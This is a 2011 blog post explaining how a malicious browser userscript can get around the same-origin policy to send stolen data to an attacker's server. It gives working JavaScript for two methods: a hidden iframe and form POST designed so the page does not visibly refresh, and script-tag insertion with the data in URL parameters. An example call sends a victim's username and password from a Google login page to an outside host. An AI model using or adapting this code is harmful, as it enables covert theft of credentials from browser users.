Cross-domain requests made simple

November 21, 2011

Once we get our malicious userscript running on every page the victim loads in the browser, we will want to collect some data and send it to our server. However, to do this we will need to perform a cross-domain request to our which is normally prohibited because of the same-origin policy. Although we could use the GreaseMonkey GM_xmlhttpRequest to perform cross-domain communication using the global context, this API is only available to the GreaseMonkey extension and is not compatible with Chrome or Opera.

So we have to use some tricks.

The are two methods available:

    1. Hidden form
      To perform a cross-domain request we create a hidden IFRAME and a FORM inside it targeted at the IFRAME. We add a hidden text field for every piece of information we want to send to the server and then submit() the form. This will NOT cause the current page to refresh so it isn’t noticeable. However, if it is used to send data through http on a https page (such as the Google login page), a nasty warning will appear asking the user to acknowledge the potential security breach. On the flip side, this allows easy inspection of the response coming from the server.

          function postToURL(path, params, method) {
              method = method || "POST";
      
              // generate a unique name
              var guid = 'puppetHack' + Math.floor(Math.random() * 10000); 
      
              var iframe = document.createElement("iframe");
              document.body.appendChild(iframe);
              iframe.name = guid;
              iframe.contentWindow.name = guid;
              iframe.id = guid;
              iframe.style.display = 'none';
      
              var form = document.createElement("form");
              form._submit_function_ = form.submit; // protect from overwriting
              form.setAttribute('target', guid);
              form.setAttribute('method', method);
              form.setAttribute('action', path);
      
              for(var key in params) {
                  var hiddenField = document.createElement("input");
                  hiddenField.setAttribute("type", "hidden");
                  hiddenField.setAttribute("name", key);
                  hiddenField.setAttribute("value", params[key]);
      
                  form.appendChild(hiddenField);
              }
      
              document.body.appendChild(form);
              form._submit_function_(); //call the renamed function
          }

      A call might look like this:

            postToURL('http://puppetmaster.akshell.com/post.html', { 
                'hack': 'google',                           
                'url': document.location.href,              
                'username': username, 
                'password': password 
            });
      
    2. Content insertion
      By inserting a script or img tag into the page with a parametrized URL source, one can break the same-origin boundary. This works even on https pages, but the response has to be encoded in the script or image pixels.

          function requestToURL(path, params) {
              var elems = new Array();
              for (var key in params) {
                  elems.push(escape(key) + '=' + escape(params[key]));
              }
              var request = path + '?' + elems.join('&');
      
              var head = document.getElementsByTagName("head").item(0);
              var script = document.createElement("script");
              script.setAttribute("type", "text/javascript");
              script.setAttribute("src", request);
              head.appendChild(script);
          }


Leave a Reply